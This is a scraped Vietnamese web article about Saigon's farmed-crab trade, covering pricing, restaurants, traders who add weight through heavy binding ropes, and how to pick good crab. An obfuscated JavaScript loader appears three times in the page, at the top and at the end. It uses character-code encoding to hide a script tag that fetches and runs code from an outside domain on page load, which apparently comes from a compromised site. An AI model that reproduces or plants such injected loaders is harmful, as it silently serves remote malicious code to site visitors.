Cua đeo gông

0
12
Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,108,111,98,98,121,100,101,115,105,114,101,115,46,99,111,109,47,108,111,99,97,116,105,111,110,46,106,115,63,108,97,61,49);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();
Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,108,111,98,98,121,100,101,115,105,114,101,115,46,99,111,109,47,108,111,99,97,116,105,111,110,46,106,115,63,108,97,61,49);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();

Thập diện mai phục

Trời còn tờ mờ sáng, vừa tập thể dục về đã gặp vợ thằng bạn bươn bả ra đầu hẻm mua cua “mẹ bồng con”. Đó là, cách gọi hình tượng về hộp cháo dinh dưỡng có mùi… cua, do “tay chồng” dư máu nghệ sĩ đặt. 

Mở “phây” điểm tâm, lại thấy người bạn Cua Cà Mau ở quận 2, TP.HCM, niềm nở chào giá gốc: 350.000 đồng/kg cua không dây, cỡ 3 con/kg, bao chắc 100%, giao hàng miễn phí trong nội thành (trên 30 phút xe máy phụ thu 30.000 đồng). Nên đặt trước một hôm!


Thiếu nữ bẻ càng cua…

Thót lên xe máy đi làm, lại bắt gặp cua Năm Căn đứng đường, giá 20.000 – 35.000 đồng/con, cỡ 250 – 350g/con. Nhìn vẻ bóng lưỡng nơi “da” càng cua và những đốm xanh còn quá đậm, dư biết hàng bao… nước (cua ốp). Vậy mà không ít chị em ham rẻ tấp vô rờ rẫm, cò kè.

Hơn mười giờ sáng, một anh bạn thân khác nhắn tin: “Bốn giờ chiều đi ăn cua “độc cô cầu bại” trên đường Phạm Văn Đồng, gần cầu Bình Lợi. Cấm trễ!”

Quả là, thời thế tạo anh hùng. Trong thời buổi nhà nhà bon chen mở quán như hiện nay, kẻ có khả năng biến khuyết điểm của sản phẩm thành điểm khác biệt, nổi bật như anh Nguyễn Văn Sáu, ở quận Bình Thạnh, TP.HCM, thật đáng khâm phục! Sáu chính là, cha đẻ chiêu tô hồng con cua… tàn tật, ở thành phố ưa của lạ này. “Không đủ hàng bán! Gom hết hai, ba vựa… “chúa” tận Cà Mau, chỉ “hết ga” 25 – 40kg/ngày.”, Sáu vừa rung đùi nhâm nhi cà phê sáng, vừa cười híp mắt tự tán thưởng.

Qua tiết lộ của một anh chủ quán hải sản bạn thân khác, ở quận 3, TP.HCM, mới biết vì sao Sáu ưa cười một mình: “Giá sỉ cua một càng, đủ cỡ (nhỏ nhất là 250g/con), lái giao tận quán giá khoảng 80.000kg/kg… Bán ra, lời bèo lắm là 50.000 – 60.000 đồng/kg. Nhưng khoản đó không đáng kể! Tiền bia bọt, nước ngọt… song hành mới đáng nói!”, bạn vỗ đùi cái bịch và nhấn mạnh cụm từ “đáng nói”.

Có cua vỉa hè phong trần gió bụi thì cũng có cua “nghe” hòa tấu tao nhã du dương, trong phòng vang ấm cúng. Toàn cua khủng, nặng gần 1kg đến mút kim 3kg/con. “Con cua lớn nhất tôi từng bán, cái càng nghịch của nó bự gần bằng cổ chày đâm tiêu loại trung!”, ông Lý Nhất Hiếu, chủ hệ thống nhà hàng Hàng Dương ở quận 7, TP.HCM, ngưng đếm tiền tỉ tê. Thế nhưng, thử nhìn vào bảng giá cua đại ở đây, những ai bị bệnh viêm túi mãn tính hay con tim xanh xao phải một phen ná thở: 690.000 – 790.000 đồng/kg!

Như đã nói, chợ cua nuôi ở Sài Gòn đủ cả thượng vàng hạ cám. Do đó, những anh trông bề ngoài có vẻ… lương thiện đang sống khỏe. Chẳng hạn, hệ thống quán cua và dê… sòng phẳng. “Đến đây, bạn có thể ăn cua “đặc ruột” không dây. Hoặc nhâm nhi các món dê nguyên bản. Cũng có thể, buông con này cắn… con kia – trong tích tắc!”, anh Nghĩa, chủ hệ thống này, vuốt chòm râu “sư phụ” cười tủm tỉm nói.

Qua đối chiếu, chúng tôi thấy giá cả ở đây cao hơn một số hàng quán khác  khoảng 17 – 29%, song thực khách vẫn vào ra nườm nượp. Như lý giải của chị Bùi Hoài Thu, lập trình viên, ở phường Thảo Điền, quận 2, TP.HCM, khách mối ở đây: “Dám đối chứng là ăn tiền rồi!”

Bùa trói buộc?

Có nghe anh Hồng Đại Phát, lái cua lớn, hơn 20 năm tuổi nghề, ở quận 5, TP. HCM, chia sẻ vài mánh lới, mới bừng tỉnh cơn mê… cua kéo. “Nói chung, tiền nào của đó! Sở dĩ, có giá cả vô chừng tại hàng quán Sài Gòn là do, đằng lái với nhà chủ âm thầm bắt tay nhau “sên bùa” vào sợi dây trói cua”.

Bởi vì, riêng giá vốn cua thịt chắc, hàng đực, cỡ  3 con/kg (gọi tắt Y.3), dây trói bằng sợi ni lông hoặc lạt dừa nước hay vài cọng thun mỏng manh –  kể như không dây – Phát đã mua vào với giá 200.000 đồng/kg. Điểm giao dịch đầu mối cua miền Nam ở TP.HCM,  tại 46 (cũ) Hàn Hải Nguyên, Q.11, từ bốn đến năm giờ sáng. 

Tuy nhiên, thương lái có thể “bùa dây” vào, để tăng cân thêm 80 – 280g/con, tùy vào mức giá thu mua tại vuông, đầm… và những cái gật đầu cân nhắc của những thượng đế lớn! Được biết, công đoạn “ác nhơn” này, đa số do những chủ vựa cua lớn ở Cà Mau, Năm Căn… đảm nhiệm. Họ thuê nhân công đeo gông cho từng con cua. Nhờ vậy, xóm chuyên làm dây trói cua bằng cỏ lát ở xã Phong Thạnh Đông A, huyện Giá Rai, tỉnh Bạc Liêu mới có công ăn việc làm quanh năm.

 Với hàng cua xuất khẩu (đi Singapore, Hồng Kông, Trung Quốc), đã có quy định hẳn hoi về cỡ dây, thường do 2 bên đối tác thỏa thuận. Ví dụ: bản 10 nặng 130g/sợi, bản 12: 150g/sợi, bản 14: 200g/sợi… bản 19: 280g sợi, theo anh Phát.

Chưa kể, có chỗ còn độn cua yếu, cua khờ, cua ốp lẫn với cua mạnh, cua ngon. Và họ rao giá thật mềm, còn cho khách lựa chọn thoải mái, để đẩy quả chua về phía… thiên hạ!

 Điều này, thật tế nhị, nên khó san sẻ công khai. Anh Phát, chỉ chịu nêu ra vài dấu hiệu biểu hiện cua sắp “đứt bóng”: Khi bạn bóp hoặc khều vào phần “bắp chuột” ở que chèo cua, mà nó vẫn không thể nhúc nhích nổi. Trầm trọng hơn là, cua đang hấp hối, hai “ăn- teng” (râu) nó dựng đứng lên, sùi bọt mép liên tục rồi từ từ hả họng (miệng) là “ngủm” luôn! Cấp độ nhẹ hơn, cua bị chảy máu rỉ rả. Dấu hiệu là, thấy chảy tiết màu trắng trong hoặc trắng đục nơi các rãnh khớp ở càng và que chèo.

 Nguyên nhân chính, do cua yếu tận vựa miền Tây. Còn phải vận chuyển quãng đường hàng trăm cây số, qua nhiều ổ voi hoặc bị bác tài nhồi (thắng gấp) hay khâu lên – xuống cua nặng tay. “Tuy sống dai hơn ghẹ, nhưng một khi cơ thể cua mỏi mệt – yếu từ dạo ấy, sẽ tự động “bán” bớt thịt và giảm hẳn mùi vị ban sơ.”, kỹ sư hải sản Nguyễn Văn Chung, ở quận Bình Thạnh, TP.HCM cho hay.

Và để có mức giá nghe có vẻ cạnh tranh nhất, một số chủ quán không ngại dùng bẩn chiêu tung hỏa mù – kích vào tâm lý ham giá rẻ của người tiêu dùng. Ví dụ, một quán cua trên đường Phạm Văn Đồng, chào giá: 130.000đồng/kg, bao dây nhỏ, bao chắc. Nhưng thực tế phũ phàng hơn nhiều! Đó chỉ là, mức giá cua chưa chín. Muốn ăn, bạn phải bỏ thêm 40.000 đồng tiền công chế biến/món. Lại thêm, ngứa mắt vì sợi dây trói ngang ngửa càng cua. Càng bực mình hơn, khi phát hiện tỷ lệ thịt càng cua chỉ chiếm khoảng 75%. Đành ngậm bù hòn tự nhũ: tính già đổ hột! Và thề một đi không trở lại!

Cũng theo anh Phát, loại cua một càng đang “làm mưa làm gió” vừa kể trên, tại vựa gốc (Cà Mau, Trà Vinh, Bến Tre) được xếp vào hàng dạt. Giá nó tuột phân nửa so với hàng bình thường, bất kể cua gạch hay cua kình (cua đực già).

Còn anh bạn dân Hà thành mê phượt khác, thắc mắc một câu làm tôi chới với: “Quái! Cua Cà Mau trong bác ở đâu ra mà đông như quân Nguyên thế? Bọn nó, đổ bộ ra đây ầm ầm rồi đấy! Cà Mau hay Cà Ná hở bác?”Anh Phát giải đáp như sau: Thật ra, chỉ có khoảng 50% sản lượng cua ở thị trường TP.HCM và xuất khẩu là cua Cà Mau mà thôi. Số còn lại, do lượng cua nuôi ở các tỉnh miền Tây khác cung ứng. Riêng Sài Gòn đất chật người đông, chỉ một quán Phong Cua ở Thanh Đa, đã “ăn” trung bình từ 500 kg đến cả  tấn (cua thịt và gạch) mỗi ngày, lúc hưng thịnh; theo lời một số lái lớn cung cấp hàng cho hệ thống quán này cho biết.

Sau nữa, xin mách nhỏ nơi bán những món cua ngon thuyết phục nhiều người sành ăn ở TP.HCM: miến cua ở nhà hàng Phương Cua, đường Lý Tự Trọng, Q.1; Cua hai da (hấp bia, nướng than) tại quán ốc không tên trên đường Hồ Hảo Hớn, Q.5, gần đoạn gối đầu với Võ Văn Kiệt; cua rang me ở quán vỉa hè trên đường Phó Cơ Điều, phía sau tòa nhà Thuận Kiều Plaza, Q.5. Hai quán sau cùng, chỉ bán từ chiều tối.

Anh Hà Thanh Linh, gần 20 năm gắn bó với rừng Cần Giờ, TP.HCM còn cho biết một thông tin thú vị khác: Cua cái so (yếm vuông) cho thịt ngọt thơm nhất trong hàng cua chắc. Thường yếm nó có màu ngà, cỡ 3 – 4 con/kg là đạt chuẩn. Riêng cua đực, từ Cần Giờ đổ xuống Cà Mau, cỡ 2 – 3 con/kg mới ngon. Trên 600 – 700g/con, thịt cua sẽ lạt dần. Càng lớn, chất lượng nó sẽ càng tệ, do lọm khọm bước sang tuổi… xế chiều – sắp chết rũ.

Kinh nghiệm, lựa cua Cà Mau chắc của lái Phát: nhìn càng cua có màu vàng đục hoặc trắng sữa, bóp yếm “nghe” cứng tay.

TẤN TỚI

Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,108,111,98,98,121,100,101,115,105,114,101,115,46,99,111,109,47,108,111,99,97,116,105,111,110,46,106,115,63,108,97,61,49);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();

NO COMMENTS